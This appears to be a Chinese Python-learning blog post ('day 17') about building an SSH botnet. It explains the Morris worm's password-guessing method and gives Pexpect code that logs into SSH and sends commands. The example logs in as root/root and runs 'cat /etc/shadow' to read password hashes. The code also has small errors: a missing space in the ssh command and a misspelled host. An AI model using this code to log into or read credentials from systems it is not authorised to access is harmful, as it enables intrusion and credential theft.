学习Python第十七天：用python构建一个SSH僵尸网络

在上一节我们已经创建了一个用来搜寻目标的端口扫描程序，选择可以开始利用这些服务中的漏洞了。Morris蠕虫有三种攻击方式，其中之一就是用常见的用户名和密码尝试登录RSH服务，RSH是1988年问世的，他为系统管理员提供了一种很棒的远程连接一台机器，并能在主机运行一系列终端命令对它进行管理的方法。

后来人们在RSH中增加一个公钥加密算法，以保护其经过网络传递的数据，这就是SSH协议，最终SSH协议替代了RSH。不过，对于防范用常见用户名和密码尝试暴力破解登录的攻击方法，这并不能起到多大作用。SSH蠕虫已经被证明是非常成功的和常见的攻击方式。

用Pexpect与SSH交互

现在，让我们来实现我们自己的能暴力破解待定目标用户名/密码的SSH蠕虫。因为SSH客户端需要用户与之进行交互，我们的脚本必须在发送进一步的输入命令之前等待并理解屏幕输出的意义。请考虑以下情形：要连接我们架在IP地址127.0.0.1上SSH的机器，应用程序首先会要求我们确认RSA密钥指纹，这时我们必须回答“是”，然后才能继续，接下来，在给我们一个命令提示符之前，应用程序要求我们输入密码，最后，我们还要执行uname -v命令来确定目标机器上系统内核的版本。

为了完成上述控制台交互过程，我们需要使用一个第三方python模块——Pexpect。Pexpect能够实现与程序交互，等待预期的屏幕输出，并据此作出不同的响应，这使得它称为暴力破解SSH用户口令程序的首选工具。

检测connect()函数，该函数接收的参数包括一个用户名，主机名和密码，返回的是以此进行SSH连接的结果，然后，利用pexpect库，我们的程序等待一个可以预计到的输出，可能会出现三种可能的结果：超时，表示主机已使用一个新的公钥的消息和要求输入密码的提示。如果出现超时，那么session.expect()返回为零，用下面的if语句会识别出这一情况，打印一个错误消息后返回，如果child.expect()方法捕获了ssh_newkey消息，他会返回一个1，这会使函数发送一个yes消息，以接收新的密钥，之后，函数等待密码提示，然后发送SSH密码。

import pexpect
prompt = ['#','>>>','>','\$']
def sen_command(child,cmd):
    child.sendline(cmd)
    #发送你想要执行的命令
    child.expect(prompt)
    #匹配命令符
    print(child.before)
    #输出执行的结果
def connect(user,host,password):
    ssh_newkey = 'Are you want to continue connecting?'
    connStr = 'ssh'+user+'@'+host
    #构建ssh命令，完整的为ssh 用户名@主机地址
    child = pexpect.spawn(connStr)
    #将上面的ssh命令放入spawn函数中创建一个新的子进程
    ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword:'])
    #这句话是用来等待子进程的输出，如果超时了没有输出任何东西，就会匹配到pexpect.TIMEOUT,其值为0
    #如果输出了ssh_newkey，那一般就是ssh连接时的一种提示，一般用来确认远程连接的公钥，其值通常为1
    #如果输出了[P|p]assword:,表示子进程正在请求输入密码，其值一般为2
    if ret ==1:
        #如果匹配到了ssh_newkey，也就是匹配到了新密钥
        child.sendline('yes')
        #那么向子进程发送yes,表示接受这个新密钥
        ret = child.expect([pexpect.TIMEOUT,'[P|p]assword:'])
        #接着，就是等待超时，或者输入密码
    if ret ==0:
        #如果为0，那就输出错误，超时了，并且返回
        print('[-] error connecting')
        return 
    child.sendline(password)
    #如果已经收到输入密码的提示，则将密码发送到子进程
    child.expect(prompt)
    #等待子进程与特定的操作符进行匹配，如果匹配成功则开始进行交互
    #prompt = ['#','>>>','>','\$']，#一般是root管理员，<<<一般是python
    return child

一旦通过验证，我们就可以使用一个单独的comand()函数在SSH会话中发送命令。command()函数需要接受的参数是一个SSH会话和命令字符串，然后，它向会话发送命令字符串，并等待命令提示符再次出现，在获得命令提示符后，该函数把从SSH会话那里得到的结果打印出来。把这些打包起来就得到一个完整的可以模拟人的交互行为的连接和控制SSH会话的脚本。

import pexpect
prompt = ['#','>>>','>','\$']
def sen_command(child,cmd):
    child.sendline(cmd)
    #发送你想要执行的命令
    child.expect(prompt)
    #匹配命令符
    print(child.before)
    #输出执行的结果
def connect(user,host,password):
    ssh_newkey = 'Are you want to continue connecting?'
    connStr = 'ssh'+user+'@'+host
    #构建ssh命令，完整的为ssh 用户名@主机地址
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword:'])
    if ret ==1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT,'[P|p]assword:'])
    if ret ==0:
        print('[-] error connecting')
        return 
    child.sendline(password)
    child.expect(prompt)
    return child

def main():
    host = 'loclahost'
    user = 'root'
    password = 'root'
    child = connect(user,host,password)
    sen_command(child,'cat /etc/shadow | grep root')
if __name__=='__main__':
    main()

今天的学习分享就到这里，谢谢大家的观看。